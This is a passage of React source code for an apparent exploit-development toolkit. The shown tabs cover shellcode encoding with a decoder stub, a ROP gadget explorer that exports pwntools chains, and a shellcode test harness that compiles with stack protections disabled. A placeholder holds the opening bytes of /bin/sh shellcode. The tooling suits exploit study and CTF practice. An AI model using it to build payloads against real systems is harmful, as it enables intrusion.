            </div>

            {/* ── RIGHT: Results ── */}
            <div style={{ display: "flex", flexDirection: "column", gap: 12 }}>
              {!encResult && (
                <div style={{
                  background: "#0a0e14", borderRadius: 8, padding: 40, border: "1px solid #141c28",
                  textAlign: "center", color: "#3a4a5a", fontFamily: "monospace", fontSize: 12,
                  flex: 1, display: "flex", alignItems: "center", justifyContent: "center",
                }}>
                  Paste shellcode bytes, configure bad chars, and click ENCODE
                </div>
              )}

              {encResult?.error && (
                <div style={{
                  background: "#ff475710", borderRadius: 6, padding: 16,
                  border: "1px solid #ff475730", color: "#ff4757",
                  fontFamily: "'Fira Code', monospace", fontSize: 12,
                }}>{encResult.error}</div>
              )}

              {encResult && !encResult.error && (<>
                {/* Key info */}
                <div style={{
                  background: "#0a0e14", borderRadius: 6, padding: 12, border: "1px solid #141c28",
                  display: "flex", gap: 16, flexWrap: "wrap", alignItems: "center",
                }}>
                  <div>
                    <span style={{ fontFamily: "monospace", fontSize: 9, color: "#5a7a95" }}>METHOD: </span>
                    <span style={{ fontFamily: "'Fira Code', monospace", fontSize: 11, color: "#c792ea", fontWeight: 700 }}>
                      {encMethod.toUpperCase()}
                    </span>
                  </div>
                  <div>
                    <span style={{ fontFamily: "monospace", fontSize: 9, color: "#5a7a95" }}>KEY: </span>
                    <span style={{ fontFamily: "'Fira Code', monospace", fontSize: 11, color: "#ffd866", fontWeight: 700 }}>
                      {encResult.key.map(k => "0x" + k.toString(16).padStart(2, "0").toUpperCase()).join(" ")}
                    </span>
                  </div>
                  <div>
                    <span style={{ fontFamily: "monospace", fontSize: 9, color: "#5a7a95" }}>SIZE: </span>
                    <span style={{ fontFamily: "'Fira Code', monospace", fontSize: 11, color: a.color }}>
                      {encResult.original.length}→{encResult.totalSize} bytes
                    </span>
                  </div>
                  <span style={{
                    padding: "2px 8px", borderRadius: 3, fontSize: 10, fontFamily: "monospace",
                    background: encResult.encodedBadChars.length === 0 ? "#39ff1410" : "#ff475710",
                    color: encResult.encodedBadChars.length === 0 ? "#39ff14" : "#ff4757",
                    border: `1px solid ${encResult.encodedBadChars.length === 0 ? "#39ff1430" : "#ff475730"}`,
                  }}>
                    {encResult.encodedBadChars.length === 0 ? "✓ CLEAN" : `⚠ ${encResult.encodedBadChars.length} BAD`}
                  </span>
                </div>

                {/* Visual Hex Diff */}
                <div>
                  <h4 style={{ fontFamily: "'Share Tech Mono', monospace", fontSize: 11, color: a.color, letterSpacing: 2, marginBottom: 6 }}>
                    HEX DIFF — ORIGINAL vs ENCODED
                  </h4>
                  <div style={{
                    background: "#080a0e", borderRadius: 6, padding: 10, border: "1px solid #1a2030",
                    maxHeight: 200, overflowY: "auto",
                  }}>
                    {/* Original row */}
                    <div style={{ marginBottom: 6 }}>
                      <span style={{ fontFamily: "monospace", fontSize: 8, color: "#5a7a95", display: "block", marginBottom: 2 }}>ORIGINAL:</span>
                      <div style={{ display: "flex", flexWrap: "wrap", gap: 2, fontFamily: "'Fira Code', monospace", fontSize: 11 }}>
                        {encResult.original.map((b, i) => {
                          const isBad = encResult.badChars.includes(b);
                          return (
                            <span key={i} style={{
                              padding: "1px 3px", borderRadius: 2,
                              background: isBad ? "#ff475720" : "transparent",
                              color: isBad ? "#ff4757" : "#8899aa",
                              fontWeight: isBad ? 700 : 400,
                              borderBottom: `2px solid ${isBad ? "#ff4757" : "transparent"}`,
                            }}>{b.toString(16).padStart(2, "0")}</span>
                          );
                        })}
                      </div>
                    </div>
                    {/* Encoded row */}
                    <div>
                      <span style={{ fontFamily: "monospace", fontSize: 8, color: "#5a7a95", display: "block", marginBottom: 2 }}>ENCODED:</span>
                      <div style={{ display: "flex", flexWrap: "wrap", gap: 2, fontFamily: "'Fira Code', monospace", fontSize: 11 }}>
                        {encResult.encoded.map((b, i) => {
                          const changed = b !== encResult.original[i];
                          const isBadResult = encResult.badChars.includes(b);
                          return (
                            <span key={i} style={{
                              padding: "1px 3px", borderRadius: 2,
                              background: isBadResult ? "#ff475720" : changed ? "#39ff1410" : "transparent",
                              color: isBadResult ? "#ff4757" : changed ? "#39ff14" : "#6a7a8a",
                              fontWeight: changed ? 700 : 400,
                              borderBottom: `2px solid ${isBadResult ? "#ff4757" : changed ? "#39ff14" : "transparent"}`,
                            }}>{b.toString(16).padStart(2, "0")}</span>
                          );
                        })}
                      </div>
                    </div>
                    {/* Change map */}
                    <div style={{ marginTop: 6 }}>
                      <span style={{ fontFamily: "monospace", fontSize: 8, color: "#5a7a95", display: "block", marginBottom: 2 }}>CHANGES:</span>
                      <div style={{ display: "flex", flexWrap: "wrap", gap: 2, fontFamily: "'Fira Code', monospace", fontSize: 11 }}>
                        {encResult.original.map((b, i) => {
                          const changed = encResult.encoded[i] !== b;
                          return (
                            <span key={i} style={{
                              padding: "1px 3px", borderRadius: 2,
                              color: changed ? "#ffd866" : "#1a2530",
                            }}>{changed ? "^^" : "··"}</span>
                          );
                        })}
                      </div>
                    </div>
                  </div>
                </div>

                {/* Decoder Stub */}
                <div>
                  <h4 style={{ fontFamily: "'Share Tech Mono', monospace", fontSize: 11, color: "#ffd866", letterSpacing: 2, marginBottom: 6 }}>
                    DECODER STUB ({a.name})
                  </h4>
                  <pre style={{
                    background: "#080a0e", borderRadius: 6, padding: 12, border: "1px solid #1a2030",
                    fontFamily: "'Fira Code', monospace", fontSize: 11, lineHeight: 1.7,
                    color: "#c8d8e8", maxHeight: 200, overflowY: "auto", whiteSpace: "pre-wrap",
                  }}>
                    {encResult.decoderStub.split("\n").map((line, i) => (
                      <div key={i} style={{
                        color: line.trim().startsWith(";") ? "#5a7a95" : line.trim().endsWith(":") ? "#ffd866" : "#c8d8e8",
                        fontStyle: line.trim().startsWith(";") ? "italic" : "normal",
                        fontWeight: line.trim().endsWith(":") ? 700 : 400,
                      }}>{line}</div>
                    ))}
                  </pre>
                </div>

                {/* Copy Buttons */}
                <div style={{ display: "flex", gap: 6, flexWrap: "wrap" }}>
                  <button onClick={() => {
                    const hex = encResult.encoded.map(b => "\\x" + b.toString(16).padStart(2, "0")).join("");
                    navigator.clipboard?.writeText(hex);
                  }} style={{
                    background: "#0f1318", border: "1px solid #1e2a3a", color: "#8899aa",
                    padding: "6px 14px", borderRadius: 4, cursor: "pointer",
                    fontFamily: "'Fira Code', monospace", fontSize: 11,
                  }}>Copy \\x Encoded</button>
                  <button onClick={() => {
                    const py = `# ${encResult.method.toUpperCase()} encoded shellcode\n# Key: ${encResult.key.map(k => "0x" + k.toString(16)).join(", ")}\n# Bad chars: ${encResult.badChars.map(b => "0x" + b.toString(16).padStart(2, "0")).join(", ")}\nshellcode = b"${encResult.encoded.map(b => "\\x" + b.toString(16).padStart(2, "0")).join("")}"`;
                    navigator.clipboard?.writeText(py);
                  }} style={{
                    background: "#0f1318", border: "1px solid #1e2a3a", color: "#8899aa",
                    padding: "6px 14px", borderRadius: 4, cursor: "pointer",
                    fontFamily: "'Fira Code', monospace", fontSize: 11,
                  }}>Copy Python</button>
                  <button onClick={() => {
                    const full = [...encResult.decoderBytes, ...encResult.encoded];
                    const hex = full.map(b => "\\x" + b.toString(16).padStart(2, "0")).join("");
                    navigator.clipboard?.writeText(hex);
                  }} style={{
                    background: a.color + "15", border: `1px solid ${a.color}33`, color: a.color,
                    padding: "6px 14px", borderRadius: 4, cursor: "pointer",
                    fontFamily: "'Fira Code', monospace", fontSize: 11, fontWeight: 700,
                  }}>Copy Stub + Payload</button>
                  <button onClick={() => navigator.clipboard?.writeText(encResult.decoderStub)} style={{
                    background: "#0f1318", border: "1px solid #1e2a3a", color: "#8899aa",
                    padding: "6px 14px", borderRadius: 4, cursor: "pointer",
                    fontFamily: "'Fira Code', monospace", fontSize: 11,
                  }}>Copy Stub ASM</button>
                </div>

                {/* Byte frequency analysis */}
                <div>
                  <h4 style={{ fontFamily: "'Share Tech Mono', monospace", fontSize: 11, color: "#5a7a95", letterSpacing: 2, marginBottom: 6 }}>
                    BYTE FREQUENCY ANALYSIS
                  </h4>
                  <div style={{
                    background: "#080a0e", borderRadius: 6, padding: 10, border: "1px solid #1a2030",
                    display: "flex", flexWrap: "wrap", gap: 3,
                  }}>
                    {(() => {
                      const freq = {};
                      encResult.encoded.forEach(b => { freq[b] = (freq[b] || 0) + 1; });
                      return Object.entries(freq)
                        .sort((a, b) => b[1] - a[1])
                        .slice(0, 24)
                        .map(([byte, count]) => {
                          const b = parseInt(byte);
                          const isBad = encResult.badChars.includes(b);
                          return (
                            <div key={byte} style={{
                              display: "flex", flexDirection: "column", alignItems: "center",
                              padding: "3px 6px", borderRadius: 3,
                              background: isBad ? "#ff475712" : "#0f1318",
                              border: `1px solid ${isBad ? "#ff475730" : "#1a2030"}`,
                              minWidth: 36,
                            }}>
                              <span style={{
                                fontFamily: "'Fira Code', monospace", fontSize: 10,
                                color: isBad ? "#ff4757" : "#8899aa", fontWeight: 600,
                              }}>{b.toString(16).padStart(2, "0")}</span>
                              <span style={{ fontFamily: "monospace", fontSize: 8, color: "#5a7a95" }}>×{count}</span>
                            </div>
                          );
                        });
                    })()}
                  </div>
                </div>
              </>)}
            </div>
          </div>
        )}

        {/* ═══════════ ROP GADGET EXPLORER TAB ═══════════ */}
        {tab === "rop" && (() => {
          const gadgets = ROP_GADGETS[arch] || [];
          const filtered = gadgets.filter(g => {
            if (ropFilter !== "all" && g.cat !== ropFilter) return false;
            if (ropSearch && !g.asm.toLowerCase().includes(ropSearch.toLowerCase()) && !g.notes.toLowerCase().includes(ropSearch.toLowerCase())) return false;
            return true;
          });
          const categories = [...new Set(gadgets.map(g => g.cat))];
          const templateNames = Object.keys(ROP_TEMPLATES[arch] || {});
          const wordSize = ARCHS[arch].bits / 8;

          return (
            <div style={{ display: "grid", gridTemplateColumns: "1fr 360px", gap: 14 }}>
              {/* LEFT: Gadget Library */}
              <div style={{ display: "flex", flexDirection: "column", gap: 10 }}>
                {/* Search + Filter bar */}
                <div style={{ display: "flex", gap: 6, alignItems: "center", flexWrap: "wrap" }}>
                  <input value={ropSearch} onChange={e => setRopSearch(e.target.value)}
                    placeholder="Search gadgets..." style={{
                      flex: 1, minWidth: 160, background: "#080a0e", border: "1px solid #1a2030", borderRadius: 4,
                      padding: "6px 10px", color: "#c8d8e8", fontFamily: "'Fira Code', monospace", fontSize: 11, outline: "none",
                    }} />
                  {["all", ...categories].map(c => (
                    <button key={c} onClick={() => setRopFilter(c)} style={{
                      background: ropFilter === c ? a.color + "15" : "#0f1318",
                      border: `1px solid ${ropFilter === c ? a.color + "44" : "#1e2a3a"}`,
                      color: ropFilter === c ? a.color : "#5a7a95",
                      padding: "4px 8px", borderRadius: 3, cursor: "pointer",
                      fontFamily: "monospace", fontSize: 9, textTransform: "uppercase",
                    }}>{c}</button>
                  ))}
                </div>

                {/* Gadget list */}
                <div style={{
                  background: "#080a0e", border: "1px solid #1a2030", borderRadius: 6,
                  overflow: "hidden",
                }}>
                  {/* Header */}
                  <div style={{
                    display: "grid", gridTemplateColumns: "80px 80px 1fr 180px 36px",
                    padding: "5px 8px", background: "#0c1018", borderBottom: "1px solid #1a2030",
                    fontFamily: "'Fira Code', monospace", fontSize: 8, color: "#4a5a6a", letterSpacing: 1,
                  }}>
                    <span>ADDRESS</span><span>BYTES</span><span>GADGET</span><span>USE</span><span></span>
                  </div>
                  <div style={{ maxHeight: 360, overflowY: "auto" }}>
                    {filtered.map((g, i) => {
                      const isSel = ropSelected === i;
                      const catColors = { pop: "#00d4ff", multipop: "#00d4ff", zero: "#39ff14", move: "#ffd866", arith: "#c792ea", syscall: "#ff4757", ret: "#5a7a95", jmp: "#ff6b35", pivot: "#ff6b35", deref: "#ffd866", write: "#ffd866" };
                      return (
                        <div key={i} onClick={() => setRopSelected(isSel ? null : i)} style={{
                          display: "grid", gridTemplateColumns: "80px 80px 1fr 180px 36px",
                          padding: "4px 8px", cursor: "pointer",
                          background: isSel ? a.color + "10" : i % 2 === 0 ? "#0a0e14" : "transparent",
                          borderLeft: isSel ? `3px solid ${a.color}` : "3px solid transparent",
                          fontFamily: "'Fira Code', monospace", fontSize: 10,
                          transition: "background 0.1s",
                        }}>
                          <span style={{ color: "#5a7a95" }}>{g.addr.toString(16).padStart(8, "0")}</span>
                          <span style={{ color: "#4a5a6a", fontSize: 9 }}>{g.bytes}</span>
                          <span style={{ color: catColors[g.cat] || "#8899aa", fontWeight: 600 }}>{g.asm}</span>
                          <span style={{ color: "#5a7a95", fontSize: 9 }}>{g.notes}</span>
                          <button onClick={e => { e.stopPropagation(); addGadgetToChain(g); }} style={{
                            background: "#39ff1410", border: "1px solid #39ff1430", color: "#39ff14",
                            borderRadius: 3, cursor: "pointer", fontFamily: "monospace", fontSize: 10,
                            padding: "1px 6px",
                          }}>+</button>
                        </div>
                      );
                    })}
                  </div>
                </div>

                {/* Selected gadget detail */}
                {ropSelected !== null && filtered[ropSelected] && (
                  <div style={{
                    background: "#0a0e14", borderRadius: 6, padding: 12, border: "1px solid #141c28",
                    fontFamily: "'Fira Code', monospace", fontSize: 11,
                  }}>
                    <div style={{ color: a.color, fontWeight: 700, marginBottom: 6 }}>{filtered[ropSelected].asm}</div>
                    <div style={{ display: "flex", gap: 16, flexWrap: "wrap", fontSize: 10 }}>
                      <span><span style={{ color: "#5a7a95" }}>Address: </span><span style={{ color: "#ffd866" }}>0x{filtered[ropSelected].addr.toString(16)}</span></span>
                      <span><span style={{ color: "#5a7a95" }}>Bytes: </span><span style={{ color: "#8899aa" }}>{filtered[ropSelected].bytes}</span></span>
                      <span><span style={{ color: "#5a7a95" }}>Category: </span><span style={{ color: "#c792ea" }}>{filtered[ropSelected].cat}</span></span>
                      {filtered[ropSelected].regs.length > 0 && <span><span style={{ color: "#5a7a95" }}>Writes: </span><span style={{ color: "#39ff14" }}>{filtered[ropSelected].regs.join(", ")}</span></span>}
                    </div>
                    <div style={{ color: "#6a7a8a", marginTop: 6, fontSize: 10 }}>{filtered[ropSelected].notes}</div>
                  </div>
                )}
              </div>

              {/* RIGHT: Chain Builder + Stack View */}
              <div style={{ display: "flex", flexDirection: "column", gap: 8 }}>
                <div style={{ display: "flex", justifyContent: "space-between", alignItems: "center" }}>
                  <h3 style={{ fontFamily: "'Share Tech Mono', monospace", fontSize: 12, color: a.color, letterSpacing: 2, margin: 0 }}>
                    ROP CHAIN ({ropChain.length})
                  </h3>
                  <button onClick={() => setRopChain([])} style={{
                    background: "transparent", border: "1px solid #1e2a3a", color: "#5a7a95",
                    padding: "2px 8px", borderRadius: 3, cursor: "pointer", fontFamily: "monospace", fontSize: 9,
                  }}>clear</button>
                </div>

                {/* Template presets */}
                {templateNames.length > 0 && (
                  <div style={{ display: "flex", gap: 4, flexWrap: "wrap" }}>
                    {templateNames.map(name => (
                      <button key={name} onClick={() => loadRopTemplate(name)} style={{
                        background: "#c792ea10", border: "1px solid #c792ea30", color: "#c792ea",
                        padding: "3px 8px", borderRadius: 3, cursor: "pointer",
                        fontFamily: "'Fira Code', monospace", fontSize: 9,
                      }}>{name}</button>
                    ))}
                  </div>
                )}

                {/* Stack layout visualization */}
                <div style={{
                  background: "#080a0e", border: "1px solid #1a2030", borderRadius: 6,
                  flex: 1, overflowY: "auto", padding: 0,
                }}>
                  <div style={{
                    display: "grid", gridTemplateColumns: "70px 90px 1fr 50px",
                    padding: "4px 8px", background: "#0c1018", borderBottom: "1px solid #1a2030",
                    fontFamily: "'Fira Code', monospace", fontSize: 8, color: "#4a5a6a", letterSpacing: 1,
                  }}>
                    <span>STACK</span><span>VALUE</span><span>GADGET / DATA</span><span></span>
                  </div>

                  {ropChain.length === 0 && (
                    <div style={{ padding: 20, textAlign: "center", color: "#3a4a5a", fontFamily: "monospace", fontSize: 10 }}>
                      Click + to add gadgets or load a template
                    </div>
                  )}

                  {ropChain.map((entry, i) => {
                    const addr = ropStackAddr + (i * wordSize);
                    const isGadgetAddr = entry.gadget.cat !== "data";
                    return (
                      <div key={entry.id} style={{
                        display: "grid", gridTemplateColumns: "70px 90px 1fr 50px",
                        padding: "4px 8px", alignItems: "center",
                        background: i % 2 === 0 ? "#0a0e14" : "transparent",
                        borderLeft: `3px solid ${entry.gadget.cat === "syscall" ? "#ff4757" : entry.gadget.cat === "pop" || entry.gadget.cat === "multipop" ? "#00d4ff" : "#1a2030"}`,
                        fontFamily: "'Fira Code', monospace", fontSize: 10,
                      }}>
                        <span style={{ color: "#4a5a6a", fontSize: 9 }}>
                          {addr.toString(16).padStart(8, "0")}
                        </span>
                        <span style={{ color: "#ff6b35", fontWeight: 600 }}>
                          {entry.value !== null ? "0x" + (entry.value >>> 0).toString(16).padStart(8, "0") : "--------"}
                        </span>
                        <div>
                          <div style={{ color: "#c8d8e8", fontSize: 10 }}>{entry.gadget.asm}</div>
                          {entry.label && <div style={{ color: "#5a7a95", fontSize: 8 }}>{entry.label}</div>}
                        </div>
                        <div style={{ display: "flex", gap: 2 }}>
                          <button onClick={() => moveChainItem(i, -1)} style={{ background: "transparent", border: "none", color: "#5a7a95", cursor: "pointer", fontSize: 9, padding: "0 2px" }}>▲</button>
                          <button onClick={() => moveChainItem(i, 1)} style={{ background: "transparent", border: "none", color: "#5a7a95", cursor: "pointer", fontSize: 9, padding: "0 2px" }}>▼</button>
                          <button onClick={() => removeFromChain(entry.id)} style={{ background: "transparent", border: "none", color: "#ff4757", cursor: "pointer", fontSize: 9, padding: "0 2px" }}>✕</button>
                        </div>
                      </div>
                    );
                  })}
                </div>

                {/* Export chain */}
                {ropChain.length > 0 && (
                  <div>
                    <h4 style={{ fontFamily: "'Share Tech Mono', monospace", fontSize: 10, color: "#ffd866", letterSpacing: 2, marginBottom: 4 }}>EXPORT</h4>
                    <div style={{
                      background: "#080a0e", borderRadius: 6, padding: 10, border: "1px solid #1a2030",
                      fontFamily: "'Fira Code', monospace", fontSize: 10, maxHeight: 120, overflowY: "auto",
                    }}>
                      <div style={{ color: "#5a7a95" }}># pwntools ROP chain</div>
                      <div style={{ color: "#c792ea" }}>from pwn import *</div>
                      <div style={{ color: "#c8d8e8" }}>rop = b""</div>
                      {ropChain.map((entry, i) => (
                        <div key={i} style={{ color: "#c8d8e8" }}>
                          rop += p{ARCHS[arch].bits}(0x{(entry.gadget.addr >>> 0).toString(16)})  <span style={{ color: "#5a7a95" }}># {entry.gadget.asm}</span>
                          {entry.value !== null && entry.gadget.cat === "pop" && (
                            <div>rop += p{ARCHS[arch].bits}(0x{(entry.value >>> 0).toString(16)})  <span style={{ color: "#5a7a95" }}># {entry.label || "data"}</span></div>
                          )}
                        </div>
                      ))}
                    </div>
                    <div style={{ display: "flex", gap: 4, marginTop: 6 }}>
                      <button onClick={() => {
                        const lines = ["from pwn import *", "rop = b''"];
                        ropChain.forEach(e => {
                          lines.push(`rop += p${ARCHS[arch].bits}(${e.gadget.addr})  # ${e.gadget.asm}`);
                          if (e.value !== null && (e.gadget.cat === "pop" || e.gadget.cat === "multipop")) {
                            e.gadget.regs.forEach((r, ri) => {
                              lines.push(`rop += p${ARCHS[arch].bits}(${e.value})  # ${r}`);
                            });
                          }
                        });
                        navigator.clipboard?.writeText(lines.join("\n"));
                      }} style={{
                        background: a.color + "15", border: `1px solid ${a.color}33`, color: a.color,
                        padding: "4px 12px", borderRadius: 4, cursor: "pointer",
                        fontFamily: "monospace", fontSize: 10, fontWeight: 700,
                      }}>Copy pwntools</button>
                      <button onClick={() => {
                        const payload = ropChain.map(e => {
                          const b = e.gadget.addr;
                          return ARCHS[arch].bits === 64
                            ? [b & 0xFF, (b >> 8) & 0xFF, (b >> 16) & 0xFF, (b >> 24) & 0xFF, 0, 0, 0, 0]
                            : [b & 0xFF, (b >> 8) & 0xFF, (b >> 16) & 0xFF, (b >> 24) & 0xFF];
                        }).flat().map(b => "\\x" + b.toString(16).padStart(2, "0")).join("");
                        navigator.clipboard?.writeText(payload);
                      }} style={{
                        background: "#0f1318", border: "1px solid #1e2a3a", color: "#8899aa",
                        padding: "4px 12px", borderRadius: 4, cursor: "pointer",
                        fontFamily: "monospace", fontSize: 10,
                      }}>Copy \\x bytes</button>
                    </div>
                  </div>
                )}
              </div>
            </div>
          );
        })()}

        {/* ═══════════ SHELLCODE TEST HARNESS TAB ═══════════ */}
        {tab === "harness" && (() => {
          const harness = generateHarness(harnessInput);
          const is64 = arch === "x64" || arch === "arm64";

          return (
            <div style={{ display: "flex", flexDirection: "column", gap: 14 }}>
              {/* Input */}
              <div style={{ display: "flex", gap: 10, alignItems: "flex-end" }}>
                <div style={{ flex: 1 }}>
                  <h3 style={{ fontFamily: "'Share Tech Mono', monospace", fontSize: 13, color: a.color, letterSpacing: 2, marginBottom: 6 }}>
                    SHELLCODE BYTES
                  </h3>
                  <div style={{ display: "flex", gap: 6 }}>
                    <input value={harnessInput} onChange={e => setHarnessInput(e.target.value)}
                      placeholder="31 c0 50 68 2f 2f 73 68 ... or paste \\x hex"
                      style={{
                        flex: 1, background: "#080a0e", border: "1px solid #1a2030", borderRadius: 4,
                        padding: "8px 12px", color: "#c8d8e8", fontFamily: "'Fira Code', monospace", fontSize: 12, outline: "none",
                      }} />
                    {templateKeys.slice(0, 3).map(k => (
                      <button key={k} onClick={() => setHarnessInput(templates[k].bytes.replace(/\.\.\./g, ""))} style={{
                        background: "#0f1318", border: "1px solid #1e2a3a", color: "#6a7a8a",
                        padding: "6px 10px", borderRadius: 4, cursor: "pointer",
                        fontFamily: "'Fira Code', monospace", fontSize: 9,
                      }}>{k.length > 10 ? k.slice(0, 10) + "…" : k}</button>
                    ))}
                  </div>
                </div>
              </div>

              {!harness && (
                <div style={{
                  background: "#0a0e14", borderRadius: 8, padding: 40, border: "1px solid #141c28",
                  textAlign: "center", color: "#3a4a5a", fontFamily: "monospace", fontSize: 12,
                }}>
                  Enter shellcode bytes to generate the full build pipeline
                </div>
              )}

              {harness && (
                <div style={{ display: "grid", gridTemplateColumns: "1fr 1fr", gap: 12 }}>

                  {/* Pipeline Overview */}
                  <div style={{
                    background: "#0a0e14", borderRadius: 6, padding: 14, border: "1px solid #141c28",
                    gridColumn: "1 / -1",
                  }}>
                    <h4 style={{ fontFamily: "'Share Tech Mono', monospace", fontSize: 11, color: a.color, letterSpacing: 2, marginBottom: 8 }}>
                      BUILD PIPELINE — {ARCHS[arch].name} — {harness.bytes.length} bytes
                    </h4>
                    <div style={{ display: "flex", gap: 8, alignItems: "center", flexWrap: "wrap" }}>
                      {[
                        { step: "1", label: "Write ASM", icon: "📝", color: "#00d4ff" },
                        { step: "→", label: "", icon: "", color: "#3a4a5a" },
                        { step: "2", label: "Assemble (nasm)", icon: "⚙", color: "#ffd866" },
                        { step: "→", label: "", icon: "", color: "#3a4a5a" },
                        { step: "3", label: "Link (ld)", icon: "🔗", color: "#c792ea" },
                        { step: "→", label: "", icon: "", color: "#3a4a5a" },
                        { step: "4", label: "Extract bytes", icon: "📦", color: "#ff6b35" },
                        { step: "→", label: "", icon: "", color: "#3a4a5a" },
                        { step: "5", label: "C Harness", icon: "🧪", color: "#39ff14" },
                        { step: "→", label: "", icon: "", color: "#3a4a5a" },
                        { step: "6", label: "Execute", icon: "▶", color: "#ff4757" },
                      ].map((s, i) => s.step === "→" ? (
                        <span key={i} style={{ color: "#3a4a5a", fontFamily: "monospace" }}>→</span>
                      ) : (
                        <div key={i} style={{
                          background: s.color + "10", border: `1px solid ${s.color}30`,
                          padding: "6px 12px", borderRadius: 4, textAlign: "center",
                        }}>
                          <div style={{ fontSize: 14 }}>{s.icon}</div>
                          <div style={{ fontFamily: "'Fira Code', monospace", fontSize: 9, color: s.color, fontWeight: 700 }}>{s.label}</div>
                        </div>
                      ))}
                    </div>
                  </div>

                  {/* NASM Source */}
                  <div>
                    <div style={{ display: "flex", justifyContent: "space-between", alignItems: "center", marginBottom: 6 }}>
                      <h4 style={{ fontFamily: "'Share Tech Mono', monospace", fontSize: 11, color: "#ffd866", letterSpacing: 2, margin: 0 }}>
                        shellcode.asm
                      </h4>
                      <button onClick={() => navigator.clipboard?.writeText(harness.nasmSource)} style={{
                        background: "#0f1318", border: "1px solid #1e2a3a", color: "#6a7a8a",
                        padding: "2px 8px", borderRadius: 3, cursor: "pointer", fontFamily: "monospace", fontSize: 9,
                      }}>copy</button>
                    </div>
                    <pre style={{
                      background: "#080a0e", borderRadius: 6, padding: 10, border: "1px solid #1a2030",
                      fontFamily: "'Fira Code', monospace", fontSize: 10, lineHeight: 1.6,
                      color: "#c8d8e8", maxHeight: 180, overflowY: "auto", whiteSpace: "pre-wrap",
                    }}>{harness.nasmSource.split("\n").map((line, i) => (
                      <div key={i} style={{ color: line.trim().startsWith(";") ? "#5a7a95" : line.trim().startsWith("section") || line.trim().startsWith("global") ? "#c792ea" : line.includes("db ") ? "#ff6b35" : "#c8d8e8" }}>{line}</div>
                    ))}</pre>
                  </div>

                  {/* C Wrapper */}
                  <div>
                    <div style={{ display: "flex", justifyContent: "space-between", alignItems: "center", marginBottom: 6 }}>
                      <h4 style={{ fontFamily: "'Share Tech Mono', monospace", fontSize: 11, color: "#39ff14", letterSpacing: 2, margin: 0 }}>
                        shellcode_test.c
                      </h4>
                      <button onClick={() => navigator.clipboard?.writeText(harness.cWrapper)} style={{
                        background: "#0f1318", border: "1px solid #1e2a3a", color: "#6a7a8a",
                        padding: "2px 8px", borderRadius: 3, cursor: "pointer", fontFamily: "monospace", fontSize: 9,
                      }}>copy</button>
                    </div>
                    <pre style={{
                      background: "#080a0e", borderRadius: 6, padding: 10, border: "1px solid #1a2030",
                      fontFamily: "'Fira Code', monospace", fontSize: 10, lineHeight: 1.6,
                      color: "#c8d8e8", maxHeight: 180, overflowY: "auto", whiteSpace: "pre-wrap",
                    }}>{harness.cWrapper.split("\n").map((line, i) => (
                      <div key={i} style={{ color: line.trim().startsWith("/*") || line.trim().startsWith("*") || line.trim().startsWith("//") ? "#5a7a95" : line.includes("#include") ? "#c792ea" : line.includes("printf") ? "#ffd866" : line.includes("mmap") || line.includes("memcpy") ? "#ff6b35" : "#c8d8e8" }}>{line}</div>
                    ))}</pre>
                  </div>

                  {/* Makefile */}
                  <div>
                    <div style={{ display: "flex", justifyContent: "space-between", alignItems: "center", marginBottom: 6 }}>
                      <h4 style={{ fontFamily: "'Share Tech Mono', monospace", fontSize: 11, color: "#c792ea", letterSpacing: 2, margin: 0 }}>
                        Makefile
                      </h4>
                      <button onClick={() => navigator.clipboard?.writeText(harness.makefile)} style={{
                        background: "#0f1318", border: "1px solid #1e2a3a", color: "#6a7a8a",
                        padding: "2px 8px", borderRadius: 3, cursor: "pointer", fontFamily: "monospace", fontSize: 9,
                      }}>copy</button>
                    </div>
                    <pre style={{
                      background: "#080a0e", borderRadius: 6, padding: 10, border: "1px solid #1a2030",
                      fontFamily: "'Fira Code', monospace", fontSize: 10, lineHeight: 1.6,
                      color: "#c8d8e8", maxHeight: 180, overflowY: "auto", whiteSpace: "pre-wrap",
                    }}>{harness.makefile.split("\n").map((line, i) => (
                      <div key={i} style={{ color: line.startsWith("#") ? "#5a7a95" : line.startsWith("\t") ? "#ffd866" : line.includes("=") ? "#ff6b35" : line.startsWith(".PHONY") ? "#c792ea" : "#c8d8e8" }}>{line}</div>
                    ))}</pre>
                  </div>

                  {/* objdump simulation */}
                  <div>
                    <div style={{ display: "flex", justifyContent: "space-between", alignItems: "center", marginBottom: 6 }}>
                      <h4 style={{ fontFamily: "'Share Tech Mono', monospace", fontSize: 11, color: "#ff6b35", letterSpacing: 2, margin: 0 }}>
                        Build &amp; Inspect Output
                      </h4>
                      <button onClick={() => navigator.clipboard?.writeText(harness.objdumpSim)} style={{
                        background: "#0f1318", border: "1px solid #1e2a3a", color: "#6a7a8a",
                        padding: "2px 8px", borderRadius: 3, cursor: "pointer", fontFamily: "monospace", fontSize: 9,
                      }}>copy</button>
                    </div>
                    <pre style={{
                      background: "#050709", borderRadius: 6, padding: 10, border: "1px solid #1a2030",
                      fontFamily: "'Fira Code', monospace", fontSize: 10, lineHeight: 1.5,
                      color: "#c8d8e8", maxHeight: 180, overflowY: "auto", whiteSpace: "pre-wrap",
                    }}>{harness.objdumpSim.split("\n").map((line, i) => (
                      <div key={i} style={{ color: line.startsWith("$") ? "#39ff14" : line.includes("file format") ? "#c792ea" : line.includes("<_start>") ? "#ffd866" : line.includes("[+]") || line.includes("[*]") ? "#00d4ff" : "#8899aa" }}>{line}</div>
                    ))}</pre>
                  </div>

                  {/* Quick reference commands */}
                  <div style={{ gridColumn: "1 / -1" }}>
                    <h4 style={{ fontFamily: "'Share Tech Mono', monospace", fontSize: 11, color: "#5a7a95", letterSpacing: 2, marginBottom: 6 }}>
                      QUICK REFERENCE — COPY-PASTE COMMANDS
                    </h4>
                    <div style={{
                      background: "#080a0e", borderRadius: 6, padding: 12, border: "1px solid #1a2030",
                      display: "grid", gridTemplateColumns: "1fr 1fr 1fr", gap: 8,
                    }}>
                      {[
                        { label: "Assemble", cmd: `nasm -f ${is64 ? "elf64" : "elf32"} shellcode.asm -o shellcode.o`, color: "#ffd866" },
                        { label: "Link", cmd: `ld ${is64 ? "" : "-m elf_i386 "}shellcode.o -o shellcode`, color: "#c792ea" },
                        { label: "Extract .text", cmd: "objcopy -O binary -j .text shellcode shellcode.bin", color: "#ff6b35" },
                        { label: "Hex dump", cmd: "xxd shellcode.bin", color: "#00d4ff" },
                        { label: "Disassemble", cmd: "objdump -d -M intel shellcode", color: "#39ff14" },
                        { label: "Null check", cmd: "grep -cP '\\\\x00' shellcode.bin", color: "#ff4757" },
                        { label: "Compile harness", cmd: `gcc ${is64 ? "" : "-m32 "}-z execstack -fno-stack-protector -o test shellcode_test.c`, color: "#ffd866" },
                        { label: "Run", cmd: "./test", color: "#39ff14" },
